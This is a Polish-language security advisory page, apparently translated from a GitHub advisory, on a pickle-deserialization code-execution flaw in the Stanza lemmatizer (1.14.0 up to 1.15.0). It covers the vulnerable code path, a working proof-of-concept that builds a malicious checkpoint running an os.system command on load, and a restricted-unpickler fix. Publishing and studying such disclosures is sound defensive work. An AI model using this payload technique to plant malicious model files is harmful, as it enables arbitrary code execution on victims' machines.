Stanza: RCE poprzez deserializację pickle w lematyzatorze
Przegląd
Załadowanie dostarczonego przez atakującego pliku .pt lematyzatora wykonuje dowolny kod z uprawnieniami ładującego użytkownika. Od wersji 1.14.0 lematyzator zapisuje pos_dict jako skompresowany gzipem strumień pickle w polu dicts punktu kontrolnego (wartość typu bytes). torch.load(weights_only=True) traktuje bytes jako typ pierwotny i przepuszcza go bez weryfikacji, w związku z czym jego lista dozwolonych elementów nie sprawdza wewnętrznego strumienia. Następnie Trainer.load przekazuje te bajty do nieograniczonego wywołania pickle.loads, które stanowi jedyne bezpośrednie użycie pickle.loads w projekcie. W rezultacie weights_only=True nie zapewnia ochrony, a ładowanie modelu prowadzi do wykonania kodu.
Podatność została potwierdzona w środowisku ze Stanza 1.14.0, PyTorch 2.13.0 oraz CPython 3.13.7. Zmodyfikowany punkt kontrolny, którego ładunek __reduce__ zwraca (os.system, (cmd,)), uruchomił polecenie w momencie ładowania (plik testowy zarejestrował uid=501(...), executed_by=...).
Aplikacje zależne są podatne, gdy konfigurują potok ładujący punkt kontrolny lematyzatora przekazany przez użytkownika, np. poprzez stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (lub równoważne ładowanie niezaufanych modeli za pośrednictwem niestandardowego rejestru). Wywołanie to trafia bezpośrednio do Trainer.load -> _unpack_pos_dict i wykonuje osadzony strumień pickle podczas inicjalizacji potoku.
Ścieżka podatności
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Dostępność przez publiczne API:
stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load.
Ścieżkę tę można osiągnąć przy użyciu dowolnego współdzielonego lub zewnętrznego punktu kontrolnego, niestandardowego rejestru bądź przekazanej ścieżki lemma_model_path. W przypadku ścieżek podawanych przez wywołującego nie jest weryfikowana suma kontrolna (sprawdzanie MD5 działa wyłącznie w domyślnym mechanizmie pobierania z rejestru). Wykonanie kodu następuje w trakcie budowy potoku, zanim przetworzone zostaną jakiekolwiek dane wejściowe do inferencji.
Uwaga: Problem ten nie jest tożsamy z mechanizmem rezerwowym weights_only=False załatanym w ramach CVE-2026-54499. Zewnętrzne ładowanie pozostaje bezpieczne; luka dotyczy wyłącznie wewnętrznego strumienia pickle.
Dowód koncepcji (PoC)
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
PoC wywołuje bezpośrednio _unpack_pos_dict, co odpowiada wyrażeniu w trainer.py:378. Osiągnięcie tego miejsca poprzez stanza.Pipeline(...) wymaga dodatkowo, aby przygotowany plik posiadał poprawną strukturę config/vocab, pozwalając load wykonać się do linii 378 (ustalone w wyniku analizy kodu). Krok od deserializacji do wykonania kodu został potwierdzony w czasie działania programu.
Proponowana naprawa
Należy deserializować wewnętrzny strumień za pomocą mechanizmu RestrictedUnpickler stosowanego już w stanza/models/common/doc.py, zezwalającego wyłącznie na tuple, list i dict:
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
Prawidłowy obiekt pos_dict jest zagnieżdżonym mapowaniem ciągów znaków {pos: {word: lemma}} bez odwołań do klas czy funkcji globalnych, dzięki czemu ładuje się poprawnie, a ładunek typu os.system jest blokowany przez find_class. Zastosowanie formatu JSON byłoby równie skuteczne (wszystkie klucze i wartości to napisy) i całkowicie wyeliminowałoby pickle z tej ścieżki. Zmianę należy zastosować w _unpack_pos_dict oraz, w celu zachowania zgodności w przyszłości, w _pack_pos_dict.
Co trzeba zrobić
Zaktualizuj bibliotekę Stanza do wersji 1.15.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | stanza | >= 1.14.0, < 1.15.0 | 1.15.0 |
Odnośniki
- https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5
- https://github.com/stanfordnlp/stanza/pull/1649
- https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
- https://github.com/stanfordnlp/stanza
- https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0
- Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Słabość (CWE)
CWE-502, CWE-94- Platforma
- Python (PyPI)
- Paczka
stanza- Ujawniono
- 03.11.2026
- Aktualizacja
- 07.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-gh9r-c94j-cmp5 - CC BY 4.0
Historia podatności: stanza
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 06.2026 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
Ujawnienia w latach
- 2026: 2
-
Stanza: RCE poprzez deserializację pickle w lematyzatorze ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.